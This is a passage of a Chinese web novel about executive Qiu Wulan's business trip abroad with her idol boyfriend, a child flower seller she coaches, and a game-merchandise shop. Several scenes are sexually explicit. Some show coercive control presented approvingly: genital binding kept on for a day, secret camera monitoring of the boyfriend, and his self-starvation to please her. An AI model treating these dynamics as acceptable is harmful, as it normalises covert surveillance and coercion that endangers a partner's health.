韩尘霄拨弄着音量键,看着音量一格格升高,又一格格降低,毫无意义地消磨时间。 “女士,”乘务长掀开帘子,向邱芜澜汇报,“还有一个小时就要着陆了。” 邱芜澜扫了眼时间,将平板关上。 “我睡一会儿。” “床单枕头都换了新的,”乘务长道,“落地前我会来叫您。” “不用了,我就在这里躺一会儿。” 肩膀微沉,韩尘霄愣了下。 邱芜澜倚在了他的肩上,几缕发丝垂在了他胸前,漾着幽幽的兰草香。 她五指扣握住他的左手,“起得那么早,一起睡吧。” 韩尘霄的右手霎时忘了收力,音量倏地被开至最大。 他红着脸瞄向被邱芜澜五指交握的左手,结结巴巴道,“没、没关系,我不困。” “好吧。那就等到酒店再睡。”邱芜澜闭上了眼,“C国的水晶梧桐道很漂亮,等我回酒店后,一起去?” 韩尘霄呼吸一滞。 水晶梧桐道。 他没有去过,但知道那是热门的情侣网红景点。 他小幅度扭头,看着倚在自己肩上的邱芜澜,倏地鼻尖发涩。 邱芜澜每天四点就要起床,六个小时的飞程,她工作了五个小时,落地就要和合作方见面、开会。 忙成这样了,居然还特意挤出时间同他约会,嘱咐他在酒店好好休息…… 他收紧了手指,小心翼翼地回握住邱芜澜。 那些人根本不懂,什么音乐节、什么拍摄都无足轻重。 她这么好,她才是最重要的。 第53章 第五十三章 简和对接小组比邱芜澜早半天抵达, 这样的长距离飞行,正常人都需要点时间调整和收拾。 从落地到结束工作,回酒店已是当地晚上十点。 “你上去吧。” 到达酒店, 邱芜澜将腿上的笔记本合拢,交给简, “车停在这里就好,一点前我会回来。” 简知道她今晚的安排, 邱芜澜是个省心的老板,也是个省心的小姐,从小就会主动报备自己的行程, 不会出现安然少爷那样突然消失, 整个庄园都没人知道他去哪的状况。 作为贴身助理, 简不该编排主人家, 但所有人都不得不承认, 两位小少爷的能力要比兄姐差一些。 生完双胞胎后, 夫人便断断续续生了病, 无力教导两个男孩儿。她的身体不能抚慰先生的瘾症,先生也不能将女人带回庄园,回家的次数便少了许多。 和邱芜澜邱承澜相比, 双胞胎虽然更加健康, 但父母缺位, 十分弱势,毫无竞争力。 父母的原因固然有, 另一方面, 小姐也对失去双亲的弟弟们太过宠溺。 “简助理。” 简未进酒店,就遇上了下来的韩尘霄。 除了相差两岁的华君润,邱芜澜所交的男朋友没一个比她年长, 最近的年龄差是越来越大。 虽说年轻男人的保质期长,但简总觉得原因不止如此。 她和韩尘霄打过招呼,瞥见邱芜澜推开车门,从后座换去了驾驶座。 简发现,邱芜澜对年轻人更加宽容。 她习惯当姐姐了。 跨越了半个地球,这一天相当漫长。 任何人都会感到疲倦,那些刚入公司的年轻人开完会都有点发蔫,韩尘霄在酒店里给邱芜澜发了消息,和她商量今天就别去玩了,回来好好休息。 景点而已,随时能去。 邱芜澜没有回复,等传来新消息时,只有一句: [我在酒店门口,下来吧] 韩尘霄惴惴不安地看着开车的邱芜澜。 “我来开吧。”他说。 “下次吧。”邱芜澜扫过导航,“你还没有国际驾照。” 韩尘霄一赧,陡然意识到这是国外。 邱芜澜工作的时候,他在酒店休息,如今约会居然也要邱芜澜给他当司机。 “对不起……”他低声道,“我什么忙都帮不上。” 邱芜澜是温柔的,韩尘霄以为自己会听见她的关心和安慰。 可两分钟过去,车内安静无声。 韩尘霄一怔,看向邱芜澜的侧脸。夜色之中,她眼下似乎有几分疲惫。 她果然很累…… 她在迁就他,而他什么忙都帮不上,还成了她的负担。 她现在在想什么?是不是觉得烦躁困倦?是不是觉得他废物没用,自怨自艾得像祥林嫂一样讨厌? 她皱眉了,是后悔带上自己了么? 韩尘霄低头,在手机上搜索起国际驾照相关信息,浏览完后,又翻起了季尧给他的茶谱。 看这些东西的时候,他的余光始终放在邱芜澜身上。 车窗外的视野逐渐明亮起来,驶过十数公里无人的公路后,水晶梧桐大道出现在了路前。 邱芜澜倒好车,尚未完全停稳,韩尘霄便推开车门,急着走向她那一侧,为她开门。 邱芜澜有些惊讶,旋即眸里噙了笑。 这样的眼神让韩尘霄恍惚回到练习生时,被老师当堂表扬。 邱芜澜从后座拿了只黑色口罩给他,自己也戴上了一朵白色的大宽檐帽。 “戴上吧,”她说,“这里国人也不少。” 韩尘霄不由得有些紧张,他被认出来顶多上一阵热搜,掉点女友粉,可邱芜澜要是被发现和公司艺人半夜约会,那影响的会是整个公司。 她方才皱眉,是因为反应过来和他约会的风险了么…… “还是算了。”韩尘霄抓住邱芜澜扶着车门的小臂,“我们回去吧。” “几十公里,来都来了。”邱芜澜力道不减,从车中下来,压了压帽檐。 “还好天不热,”她捻着宽大的檐边笑道,“夏天出来约会,你可真是受罪。” 她玩笑着调侃,却令韩尘霄心脏一抽。 跟独立艺人约会,和跟自己公司的艺人约会,这是两种截然不同的情况。 他的确让她为难了。 “布景很好,”邱芜澜扭头,眺望停车场外的梧桐道,“走走吧。” “好。”韩尘霄闷闷点头,跟在她身旁,揣摩着她的脸色。 邱芜澜的表情还算愉悦,身上的赫本长裙裁剪得体,头顶的那朵欧式大宽檐帽愈添优雅。 韩尘霄不知不觉落后了邱芜澜半步。 他着迷地望着邱芜澜的侧影,她漫步在梧桐道间,上方的梧桐枝藏了暖色的灯带,华灯将叶脉照映而出。 梧桐影打在纯白的大宽檐帽和裙摆上,婆娑成纹;四周斑斓如水晶,她步步窈窕,像是要走进上世纪的黑白电影里。 “要拍照么?”韩尘霄试探着挑起话题,“我帮你拍。” “不用。” “但你好像很喜欢这里。” 邱芜澜回眸,看向韩尘霄。 韩尘霄指了指她的眼角,“你很高兴。” 他已经能看懂一点她的微表情。 邱芜澜承认,“我喜欢这里的气氛。” “这里是很漂亮。”韩尘霄抿唇微笑,“难怪各国都有情侣赶过来。” 邱芜澜弯了弯眼眸。 她欣赏这里的成功,喜欢这里的商业气息。 “三年前,这里只是一条普通的街道。”她往前走去,徐徐回忆,“C国多雨,到了秋天,阴天的冷风一卷,树叶扑簌簌地往下掉,那副场景堪比鬼片。” 韩尘霄跟上了她,听邱芜澜的口吻,她似乎很早就来过这里。 “满地的落叶给城市清洁带来了麻烦,这个镇子并不富裕,有官员提议,撤掉三分之二的梧桐树,把它们送去首都,不仅能减少清洁费用,还能填补财政。” 韩尘霄问:“后来呢?” “镇长是一位老派的绅士,他觉得送走这些老树太可惜,于是向全镇征集解决方案。” 韩尘霄扭头望向熙攘人群,“然后,这里就变成了这样?” “因为一个大学生不经意的设计,这个小镇的财政翻了四倍有余。哪怕网红景点只是昙花一现,可这‘一现’也创造了足够多的价值。” 这一策划、这条街道,足可称为艺术品。 邱芜澜仰头看向头顶熠熠生辉的梧桐枝,“财阀垄断了一切,却始终不能垄断艺术,我总是担心自己错过某个不经意的角落。” 夜风习习,一片梧桐叶飘然落下,刮在了邱芜澜帽子前檐。 她摘下那片树叶,回眸望向韩尘霄。 她没有说话,只是微微弯了唇角。 那双清冷的美眸里点了二三笑意,人影幢幢,韩尘霄眼中徒留这道倩影。 邱芜澜没有提一个“情”字,她像是财经院系的教授倚在讲台上闲谈案例,可韩尘霄无端听懂了她的意思—— 她在对他说: [幸好我没有错过角落的你] 噗通、噗通…… 韩尘霄被自己的心音吵得耳热。 只可意会的暧昧让他难以招架,无法回话。 直到稚嫩的童音自他身边经过,五六岁的棕发小姑娘仰头望着他,“Sir, do you need flowers?” 她前背着一个竹框,框里是包扎好的一束束玫瑰。 这条情人街上,到处都是流动的卖花姑娘。 韩尘霄看向邱芜澜,邱芜澜捻动着手里的梧桐叶,并不干涉他的打算。 他心下一动,刚要开口说好,忽然发现,自己身上没有外币。 “抱歉,”他歉意地对小姑娘说,“我们不需要。” “why?”小女孩天真地望着韩尘霄,“那不是你的女朋友吗?” 韩尘霄一时哑然,对方已上前一步,用小肚子将花框往前顶出了些许,“买一束吧,先生,求您啦。” 句末的please拉得又长又软,奶声奶气又有点委屈的声音让韩尘霄心软不已。 这么小的女孩深夜还工作,他不忍拒绝,为难地看向邱芜澜。 “芜澜,你带外币了么,我和你换一点。” 邱芜澜摇头,“我也没带。” 小女孩听不懂中文,只看见邱芜澜摇头,连忙转去她身前。 她从框里抽出三束玫瑰,直接将花递给她,“美丽的女士,你和玫瑰一样漂亮。” 邱芜澜没有接下,“Thankyou, I dont need it.” 她不喜欢强买强卖。 “为什么!”小女孩睁大了眼睛,“女孩子都需要花。” “你说得对,”邱芜澜颔首,“所以我不忍心从你这样可爱的女孩子手里抢走玫瑰。” 韩尘霄轻咳了一声。 前一刻他还觉得邱芜澜博学稳重,这一刻和五岁小女孩诡辩的样子,又幼稚得让他觉得好笑。 邱芜澜欲走,小丫头疾声呼喊,“不!女孩不需要花,我刚刚说错了,是爱情需要花!买一束吧,漂亮的女士,它会为你带来甜蜜的爱情!” 死缠烂打的商贩遭人厌恶,但软萌的童音说出这样成熟的话,让人啼笑皆非。 邱芜澜驻足,若有所思地看向那不到半人高的女孩。 “芜澜,我去换一点吧。”韩尘霄以为她心软了,“这里应该有不少国人,我去找人换点外币。” 邱芜澜制止了他。 “很吸引人的理由。”她俯身询问,“可为什么一定就是你手里的花?和旁边的花店、和那些花车相比,你的花有什么不同么。” 女孩愣了,她从没遇到这样的顾客。 从前只要她仰着头,甜甜地叫一声“Beauty”,那些游客就会喊着“好可爱好可爱”,然后掏出钱来。 面前的这位优雅女士有着温和的嗓音,可她看向自己的眼神既没有不耐烦,也没有觉得她可爱。 她平静地、探究地打量她,像是在看一朵小花——普通的野花,不漂亮,不惊艳,但有点新奇。 “因为…因为……”小丫头支吾着,给出了答应,“因为我可爱。” 邱芜澜倏地笑了。 她像是对这个回答十分满意,蹲下身,和女孩平时。 “宝贝,你的父母呢?”她问。 女孩不自然地别过脸去,“他们有自己的事。” 邱芜澜唇边的笑愈深了两分。 她没有深究这个让女孩不快的问题,赞同了她前一句话:“是的,你很可爱,可还远远不够。” 她拿出手机,在软件上草草指绘。 “正如你所说‘所有女孩都需要花’,那么你也应该听说过,‘所有女孩生来就是公主’。” “你很可爱,但你缺少一顶公主的王冠。” 她将手机转向女孩,屏幕上,是一顶玫瑰头冠的设计草图。 三十余朵彩色玫瑰簇在一起,纤长的食指在手机某处轻点了一下,骤然间,宛如魔法般,那平面的头冠立体起来,薄涂的花色变得浓厚鲜活,花瓣舒展,娇艳欲滴。 这盛大而华丽的花冠显现在屏幕顶端,其下的白色背景如水退去,变成了一面镜子。 前置摄像头照映出了女孩的脸,她出现在镜子里,AI将花冠融合在她头顶。 “卖火柴的小女孩和灰姑娘有着相似的困境,结局却截然不同。亲爱的,你知道其中的原因么?” 小姑娘震惊地看着屏幕里佩戴花冠的自己,又茫然地看向突然变得亲切的邱芜澜。 “因为……灰姑娘有王子?”她眼中的邱芜澜,像是仙女教母一样神奇。 “不,因为灰姑娘有水晶鞋。”邱芜澜抚过她的碎发,虚触向花冠所在的头顶,“Dear,你不能穿着这么平凡的衣服,你需要一点装扮,像是水晶鞋一样,一种连王子看了都念念不忘的装扮。” 小姑娘目光落在手机中自己头顶的玫瑰头冠上,“就像这个?” “就像这个。”邱芜澜微笑,“我可以把这顶头冠送给你,但就像你送给我花一样,这需要一点报酬。你来决定要不要买。” “我、我没有很多钱……”方才成熟老练的小推销员一下子弱气了起来。 “别担心宝贝,”邱芜澜说,“我只需要你这一天的收入。” 小女孩一下子睁大了眼睛,连韩尘霄都有些震惊。 “你知道这并不贵。”邱芜澜扶住她的肩膀,将她转向对面的商业街,“看看,那些花店布置得如同花园,那些大人推着的花车如此琳琅,我可怜的小家伙,你又有什么优势去从他们手中抢夺客人呢? “你连‘名字’都没有,来这里的人们买花,会去某家好评如云的花店、会去占据路口的花车,会从比你更可爱的小姑娘手里买。” “你在这条街上藉藉无名、平凡普通,没有人知道你。哪怕你有着最甜蜜的笑容,可只要你换一身衣服,那些夸赞你为天使的人马上就会认不出你。” “当迪士尼的公主们站在一起,谁是辛迪瑞拉——有水晶鞋的那位就是。” “有了这顶头冠,你就和辛迪瑞拉一样拥有了‘姓名’。” 小姑娘怔怔地望着远处的店铺。 “来这里的无一不是心中有爱的有情人,比起花店花车后的中年老板,他们难道不更愿意从一个小小的玫瑰公主手里取得鲜花么?” 她覆在她耳边低语,“想一想,你是想做冻死接头的卖火柴的小女孩,还是想做穿上水晶鞋的辛德瑞拉,摆脱每天凌晨起床进花、十一点半还要在街上兜售的生活。” 女孩犹豫了很久,不能完全理解邱芜澜的话,但这位优雅的女士身上有一种奇特的魅力,让她懵懂地觉出了她的不同寻常。 半晌,她扭头问向邱芜澜,“可它要是不起作用怎么办?” “这就要由你来判断了。”邱芜澜说,“你可以选择不买。” 又是长久的迟疑。 良久,小女孩从小背包里掏出了一把零钱。 邱芜澜勾唇,“亲爱的,你今天赚的可不止这点儿。” “你怎么知…”女孩脱口而出,随即红着脸递出一把玫瑰,“其他的钱是找零,我要留着。去除明天进花的钱,我只留了三块。求你啦,再算上这些花好么,我还得买明天的早饭。” 邱芜澜勉为其难地接过零钱和花,“well,deal.” “你什么时候给我!”小姑娘立刻追问,带着点警惕。 “三天后。”邱芜澜将零钱收下,把花送给了韩尘霄。 她从手包里抽出一张外文名片,对待正式客户一般,把名片双手递交了女孩儿,“上面留了我的指纹,这里还有监控,所以,要是你没有收到货,可以去警局寻求帮助。” 她转身走了,摘下帽子,扣在前胸朝那小小的女孩低头致意,仿佛在说“感谢惠顾”。 和来时略有疲倦的表情不同,回去的路上,邱芜澜愉悦热烈。 韩尘霄无法理解她的行径。 他第一次知道邱芜澜原来精通绘画,还会多种外语。 收下女孩的钱后,她还附赠了一些赠品—— 她告诉女孩如何从细节去区分同一大洲、不同国家人的面貌长相;教会了她“请买一束花”和“谢谢”这两句话的五种不同语言。 她一字一句带着她读,确保她发言准确,能实际运用到游客身上后,才摘帽告别。 他们约会的两个半小时里,有两个小时都花费在了那个陌生的女孩身上。 “怎么一直盯着我?”邱芜澜扶着方向盘,只开了一遍,回去的路她便撤掉了导航。 今晚的邱芜澜有些不同,韩尘霄从不知道,她会有这样鲜活的一面,完全变了个人似的。 “芜澜,你很喜欢孩子么?” “嗯?” 韩尘霄道,“我看你一开始要走,还以为你不喜欢那个小姑娘呢。” “我确实不喜欢死缠烂打的硬推销,不过,你不觉得她很特别么。” 韩尘霄点头,“这样的年纪,在那些卖花女里都少见,也不知道她家里是什么情况,好在她特别坚强。” 邱芜澜哂笑,“不,我不是说这个。” “三年前,这个镇子闭塞落后,可如今,一个五岁的小女孩居然会同时说出‘女人需要花’‘爱情需要花’和‘我不需要花,我只需要钱’这三句话来。多么神奇。” 那睁开不过五年的稚眼,看见了老虎的皮,不仅没有受其迷惑,反而清醒地一把将其扯下,披在自己身上。 五岁,只是五岁而已,她居然已懵懂地套用起资本家的话术、找到了自己的竞争优势,毫不吝啬地利用那份天真可爱赚取金钱。 只是运用得有些生硬,尚未掌握窍门,一股脑地全都推到消费者身上,容易起反效果。 五十分钟的回程没有让这份愉悦消退。 邱芜澜兴致高涨,她在酒店套房的沙发上剥开了韩尘霄的上衣。 来不及开灯,凭借窗外的灯光,她在昏暗中对上了韩尘霄意外又羞涩的眼。 邱芜澜有点可惜,如果在这里的是季尧,她便能同他多说几句。 “太、太晚了……” 凉水般的丝缕长发落在韩尘霄皮肤上,他红着脸抱住邱芜澜的腰,“你明天上午还有工作。” “所以,我得尽快入睡。”白皙的五指拂过韩尘霄的额角,随后向下。 邱芜澜俯身,在他唇边轻吻,“尘霄,我睡不着。” 韩尘霄溢出一声嘤咛,出口的瞬间他脸颊爆红,为这软弱的声音感到羞耻。 邱芜澜那修剪得宜的指甲搔刮着,他用尽最后的理智同她抗衡,“回来的路上、嗯…简助理还和我说,让你早点休息。” 他水漉漉地望着她,眸中满是对她的关心,可邱芜澜只觉得烦闷。 “不要管她。”她捧住韩尘霄的双脸,让他在自己的掌控之下,“尘霄,你应该听我的话。” “我只是不想你太累…唔。” 他被邱芜澜封住了口,这一吻如暗流,平静下澎湃汹涌。 “哈…”当它结束,韩尘霄喘息着看着坐在自己身上的邱芜澜,她脱下外套,居高临下地俯视他。 那张清淡如水墨画般的脸像是被点了胭脂,微卷的青丝凌乱地布在她身上,如同一片片破碎的蛛网。 她伸手去韩尘霄手腕摸了一阵,片刻弯腰去捡地上的手包。 她从包里拿出一根黑色发圈,反手收拢粘在身上的长发。 丝丝缕缕的乌发被纤长的手指尽数聚合,从她的锁骨、肩胛、脖颈上抽离,束成一股。 她慢条斯理地扎着发,一边凝视他,像是系着餐巾、打量一道可口的佳肴,思考着从何处下口。 韩尘霄怦然心跳着,他一直将邱芜澜视为纤尘不染的兰,可这一刻,她充满了惊心动魄的妖冶,让他无法思考,只能痴痴地注视她。 最后一圈发圈扎完。 她俯下身,覆在了他身上。 韩尘霄紧绷起腰,溺死在了丝丝缕缕的蛛网中。 混乱的室内,打开的手包内,有一片梧桐叶滑了出来。 它刮到了邱芜澜的帽子,被她摘下。 第54章 第五十四章 “邱总, 这样可以么?” 第三天傍晚,简将制作好的两顶头冠拿给了邱芜澜。 她找了两家工坊加急赶制出来,按照邱芜澜的设计图, 分别用了绢花和绒花工艺制作。 近三十朵玫瑰制成的头冠盛大华丽,分量不轻;若减少花数, 就又不够吸睛。 为了控制重量,两顶花冠的选材十分苛刻。 邱芜澜看过送来的两个成品, 将工艺较为简单、形态更加逼真的绢花交给简,让她送去。 这之后,她照旧每日开会、谈判、游览, 再没有过问卖花女孩的事, 把那个平凡的小姑娘抛却脑后, 将休息时间留给了韩尘霄。 自出国以来, 除了第一天去水晶梧桐大道, 其他时间韩尘霄都待在酒店。 他偶尔在四周走走, 因为没换外币, 也没国际驾照,去不了太远的地方。 酒店的设施很齐全,连运动也不必出门, 健身房和游泳池就能满足需求。 事实上, 连健身房和游泳池也不用, 他每日都有足够大的运动。 “嗯……”青年撑在床上,抿唇压抑着喘息, 细密的汗水将鬓角湿透。 微凉的手指抵在他唇边, 撬开了他的牙关,压在他的舌上。 嘴巴被迫张开,粗重的呼吸再也掩饰不住。 他像是吐着舌头喘气的狗, 迷离地望着身下的邱芜澜,无声冲她哀求。 舌上的指尖勾了勾,深入喉咙。 韩尘霄难受得干呕,更难受的是被发圈绑住的某处。 “合格的男朋友可不会让恋人找不到发圈。”邱芜澜缓缓抠刮着他的喉咙,“宝贝,我得走了,希望我回来时你认识到了错误。” 嘴巴无法闭合,逐渐有唾液自唇角流下。 她仰头舔去他嘴角的水色,将手从他喉咙里抽出。 “帮我穿衣服。” 韩尘霄狼狈地跪在床上,无助地仰望邱芜澜。 这样的状态,他怎么能起身帮她穿衣服。 “快点儿。”邱芜澜轻拍他绯色的脸,“我要迟到了。” 他咬着下唇,跌跌撞撞地爬起身,“哪、哪一套?” “你来决定,我听你的。”她说,像是再乖巧不过的小女友。 韩尘霄颤抖着为她换上新衣,在邱芜澜拉开门之前,磕绊地开口,“芜、芜澜…这个可以解开么……” 邱芜澜回眸,视线往下扫过。 这赤.裸裸的打量让韩尘霄愈发羞耻,他当然明白邱芜澜的态度,可这样绑着,等她回来会、废掉的…… 片刻,他听见一声失望的重叹,邱芜澜推门往前走去,乏味地回道,“算了,你实在想,就解开吧。” 韩尘霄一怔,张了张口,未及说话,门已在他面前闭合。 莫大的恐慌笼罩了他,他帮不上邱芜澜的工作、做不出能让她入口的饭菜,现在连邱芜澜的欲望也无法满足。 他还剩下什么?她为什么要叹气?她讨厌他、厌倦他了么? 她那样温柔善良,连他出去鬼混、去巴结别的小姐太太都选择原谅,又怎么会无的放矢伤害他。 她一定是知道不会有事,才这样要求的。 她为什么会知道…… 答应显而易见。 她和别的男人试验过。 那个男人做到了,而他却推三阻四地拒绝…… 韩尘霄咬牙,他不能比她的前任差。 …… “今天结束得比预计早。”简一边开车,一边问邱芜澜,“后天就要回国了,您要和韩尘霄去哪里逛逛么。” 邱芜澜看了眼时间,倏尔开口,“去两个地方。” “带上韩尘霄一起么?” “不,你和我。” 简收到邱芜澜发来的地址,吃惊道,“来回三个小时?您要去买什么,我让人去买好了。” “别人挑不好,时间还早,去吧。” 邱芜澜划着腿上的平板,八格监控录像正对着她居住的酒店房间。 她点开了有人在的那一格,检查完韩尘霄的状态后退出,处理起国内的工作。 车子跨了州界,停在不起眼的小巷口。 邱芜澜将未处理完的表格保存,对简嘱咐:“二十分钟,在车上等我。” 她迈入了宁静的小巷,巷子尽头,是一家冷清的小店。 藏在这样的地方,却不影响它名扬四海。 邱芜澜对着手机确认了下店名,推门而入。 熟悉的风铃声响起,和她去过的大多冷门的谷子店一样,这类小店喜欢挂铃。 入目,花哨的零碎商品挤满了视线。 店里无人,她不急着叫人,先从最近的橱架开始挑选。 整个店狭而窄,不到十二平米,两侧墙壁做成了货架,中间又立了一条长长的双面架,分割出两条仅一人宽的走道。 邱芜澜拿起一张像素三花猫色卡,无论如何,游戏主角得要一张。 这是家贩卖游戏周边的店铺,卖的都是些冷门游戏,她在网上搜到了这里。大营销时代,这种不怕巷子深的店铺已是凤毛麟角。 邱芜澜在琳琅的橱窗前踱步,赞叹店主的品味。 一个纯粹出于个人爱好开办的小店,能从一众网红店里脱颖而出,归根结底,质量依旧是每个时代不可或缺的成功要素。 邱芜澜欣赏营销,也看重品质。 水晶梧桐大道和这迷你的小店在她眼中一样漂亮。 将影视城项目推进正轨,她就要进入集团。 邱芜澜会接手文娱板块,将秋叶集团原有的漫画、小说、游戏三大业务和秋叶娱乐进行整合。 三大文娱产业里,前两者只是近几年的顺带,重头戏还在游戏上。 作为科技公司,秋叶集团除了3C产品和智能家电这一系类微电子产品外,最广为人知的就是游戏。 跨越洲际来到这家店,是为季尧,也为了学习。 季尧的眼光从来不会出错,被他喜欢的不管是人还是游戏,亦或是食物、衣饰,全都有可取之处。 邱芜澜挑好了周边,进到深处的柜台结账。 她按了柜台上的铃,过了会儿,门帘后走出一位微胖的中年男人。 看见邱芜澜,他愣了下,似乎是觉得她的气质与这种小店格格不入。 邱芜澜适时地挽发,流露出一分不自然,“我在这里出差,弟弟让我帮他代买一些东西,我不确定他喜不喜欢,方便的话,您能帮我推荐一下这款游戏的热门产品么。” “哦,当然没问题,您对您弟弟可真好。”店主笑了起来,“一般大人出差,只会带精品礼物和食物给孩子呢。” “礼物得送对才有意义。”邱芜澜道,“否则只是浪费钱而已。” “说得没错。” 店主看过邱芜澜选择的周边,愈发讶然,“哎呀女士,用不着我推荐了,您已经把销量前三的拿齐了。” “那就好,看来我和我弟弟还没有太大代沟。”她又问,“销量最低的是哪些?您帮我看看,我有没有踩雷。” “销量低的就多了。”店主笑道,“这种冷门游戏周边,多得是一个月都卖不出去的谷…卖不出去的货。放心吧,您眼光很好,选的都是有销量的。” 邱芜澜追问:“哪些是卖不出去的?” “喏,这几个、那几个,还有那边的钥匙扣。唉,电子锁和智能手机可真项糟糕的发明,七年前钥匙扣和手机挂件可是卖得最好的产品,现在基本只有学生会买了。” 邱芜澜倒是颇感兴趣。 她逐一看过拿些卖不动的周边,不动声色地拍照保存,状似抱怨地开口,“您的店实在是太难找了,连车子都进不来。开在这样的地方,还能赚到钱么。” “哈哈,”店主一边给她打包,一边道,“平时生意是不多,我们这样的店主要是等漫展。不过这也就是我的个人爱好,不亏本就够了。” 这种模式的店比邱芜澜预想得还要艰难,看来就算好评如云,也只是薄利而已。 面向御宅族为目标群体店铺不设网店,效果确实要差一些。 哪怕是秋叶游戏的周边利润,也一直是线上高于线下。 不过对于这样个人经营的小店来说,线上的麻烦事也不少。 她接过店主装好的两个纸袋,他特地从一众花里胡哨的袋子里为她挑了简约款,纯白的袋子上只含蓄地印了三花主角的猫猫头,以免这位成熟的女白领走在路上尴尬。 邱芜澜顿了下,向他道谢,“谢谢。” 真正的热爱永远能出其不意打动人心。 秋叶对销售人员有很多人性化的条约准则,比如不主动推销介绍产品,但那些要求全部用在了电子销售上,她还是第一次意识到,不起眼的周边也能做出细致入微的服务。 她多付了一笔小费,感谢他参与调研,更感谢他提供的这一服务灵感。 给季尧买好了礼物,接下来,该去看看另一个孩子了。 抵达梧桐大道时,天已透黑。 简将车停在梧桐大道路旁,邱芜澜没有下车,隔着车窗,远远的便看见了零散聚集的人群。 人群中央是一个戴着盛丽花冠的女孩。她头顶是团簇的彩色玫瑰,身前抱着的篮子里是包扎好的花束。 那小小的身体被上下两团玫瑰遮掩,像是穿戴了两团彩云,煞是醒目,茫茫人海,隔着几十米就能一眼注意到她。 不少人在远处拍照。 女孩视若罔闻地卖着花,奶呼呼的小手臂玫瑰中伸出,递向了一位金发碧眼的女士。 “Sil vous pla?t acheter un bouquet de fleurs.” “喔。”对方和同伴惊愕道,“天呐,你会说法语。” “un peu.”小女孩仰头,睁着大眼睛,软软地重复,“Sil vous pla?t acheter un bouquet de fleurs.” “当然,当然。”她们笑着打开钱包,不仅那位女士,她的同伴也跟着买了一束,“宝贝,你怎么知道我们是法国人?” 这句女孩听不懂了,接过钱,茫然地看着对方。她们便又用通用语说了一遍。 “我们和本地人有什么不同么,你怎么会觉得我们是法国人呢?” 「Dear,注意看,法国人的雀斑会比当地人少一些,她们的穿衣风格也会偏向于更明亮的色彩。」 「这不是绝对的,在你没有把握之前,可以选择正在交谈中的旅客。听到他们和同伴说的语言后,你就可以拿着花上去了。」 「在异国他乡,用对方的母语打招呼,会比任何溢美之词都让人感到亲切。」 「那我不需要知道他们的特征,只要偷偷听他们说话就好了呀。」 「嗯……还是最好记住,你会用到的。」 女孩弯眸,“我猜的。” 「宝贝,如果有人问你,你是怎么知道他们来自哪里的,你只要回答——」 “我觉得您有一种法国的气质。” “噢~”女人和同伴捂着嘴笑着低呼起来,“法国的气质?什么是法国的气质?” 「国家的气质?女士,什么是国家的气质?」 「亲爱的,你不用知道。」 “我也不知道,只是一种感觉。”稚嫩的童音回答道。 “你太可爱了宝贝。”女人眉开眼笑地打开钱包,又取出五元,“给你的,小公主。” “merci!”小姑娘高兴地收下钱,抱着半身长的花篮,对她鞠了一躬,走向下一个客户。 “她真像个玫瑰精灵。”女人和她的同伴望着那两团玫瑰远去,脸上的笑容久久未退。 “不可思议的女孩。”“太神奇了。” 邱芜澜支着头,唇角随之上扬。 真漂亮。 宛如一件艺术品,只差了一点知名度而已。 邱芜澜拍下了人群中的女孩,将照片发给了许久未联系的一位大学校友。 “露,我在梧桐大道这边出差,发现了个特别的女孩儿。” 她发送了照片,在对话框内打字,“她家庭情况不太好,你愿意帮她一把么。” “不需要直接资助,我和她聊过,这个女孩自尊心很强。” 对方很快回复。 “好特别的花冠!” “我明天晚上过来看看,可以的话帮她做几个推文。” 邱芜澜再次看了眼街道上的小姑娘。 这条艺术品般的商业街上,出现了另一件艺术品,他们的创作者不同、创作时间、创作初衷都不相同,却相得益彰地组成了一副美妙的景色。 邱芜澜升起车窗,靠在椅背上,对简道,“回去吧。” 她将平板倒扣于腿上,盖住屏幕上的酒店监控录像。 该回去看她另外一件即将完工的艺术品了。 第55章 第五十五章 五点半。 韩尘霄扶着墙壁, 踉跄地从厕所走出。 他看了眼墙上的电子钟,根据这几天的经验,距离邱芜澜回来最多还有半个小时。 这一天对他来说宛如一场沉梦。 他不能上厕所, 于是没有进食,喝水也只是在渴到极致时润一润嘴唇而已。 吃饭喝水倒无所谓, 做艺人多得是一天下来顾不上吃饭;为了拍摄,他也有不少脱水的经历, 但自下午起,胀痛的膀胱让他度秒如年。 邱芜澜绑得不紧,他完全可以偷偷取下来一会儿, 可韩尘霄选择了硬挺。 他不想比她的前任差, 其他男人能做到的事, 他也一定可以。 靠着墙壁, 他挪到沙发前, 艰难坐下。 为了让时间过得更快, 这个白天他断断续续睡了近七个小时, 过多的睡眠让他进入轻微的醉睡状态,大脑睡得缺血,整个头又昏又沉, 动作之际还有些刺痛。 上升期的偶像往往都是缺觉的, 他还是第一次知道睡多了会这么难受。 韩尘霄的生活从来没这么慢过, 以往每天一睁眼就是经纪人的消息。 他少有休息的时间,即便是没有行程的日子也要加紧塑形健身、创作歌曲、练习舞蹈乐器, 还要应付一些推不掉的应酬。 唱跳偶像的花期比女明星更短, 他回国后为了上学沉寂了一段时间,之后再也不敢拒绝工作机会。 这样喘不过气的生活节奏里,韩尘霄偶尔也会感到迷茫。 秋叶娱乐是一家好公司, 他的存款余额越来越多,可依旧是比上不足比下有余,连市中心的一套小别墅都买不起。 他察觉到自己的金钱观和小时候不太一样了。 在娱乐圈这些年,看惯了豪车别墅,看惯了七位数一套的衣饰,他越来越想不起自己学生时代的金钱观。 那时候去超市买一大包零食是多少钱……一百?不不,不至于这么便宜,一千?可那时候自己好像没那么多钱。 他不仅不记得以前的消费水平,也不记得吃一大包零食是什么感觉了。 韩尘霄回想着自己这两天吃的是什么。 上一顿还是昨天的晚餐,邱芜澜回来的晚,让他先吃,他就从套房的冰箱里拿了一块三文鱼,用黑胡椒、橄榄油简单腌制二十分钟,放去平底锅里煎烤,随手又折了两根芦笋扔进去。 熟透之后撒上玫瑰海盐,这一餐便算对付过去。 无氧必须配合减脂,高强度的健身不代表可以随心所欲乱吃。脂肪率不低到一定程度,大肌肉看起来会臃肿油腻,他必须足够瘦才行。 吃完饭,韩尘霄把厨房收拾干净,又整理了下房间。 保洁每天都来,但每到邱芜澜快要回来的时间,他还是会再打扫一遍。 这是他为数不多能为邱芜澜做的事了。 起床、为邱芜澜整理衣服、在她洗漱时收取厨师送来的早餐、送她出门、应付三餐、健身、打扫房间、等她回来…… 这样的日子持续了数日,韩尘霄几乎没有工作消息。 他有大把的空闲。 这里没有练舞室和练歌厅,不方便练习;与此同时,厨房倒是近在手边。 他不是不想工作,是没有工作的条件,只能将时间用在研究茶艺和厨艺上。 邱芜澜吃得清淡,她不吃重油重盐的食物——不是他那样强行克制自己,而是生来就没有接触过垃圾食品,不习惯那种味道。 韩尘霄为此感到了一丝甜蜜的窃喜。 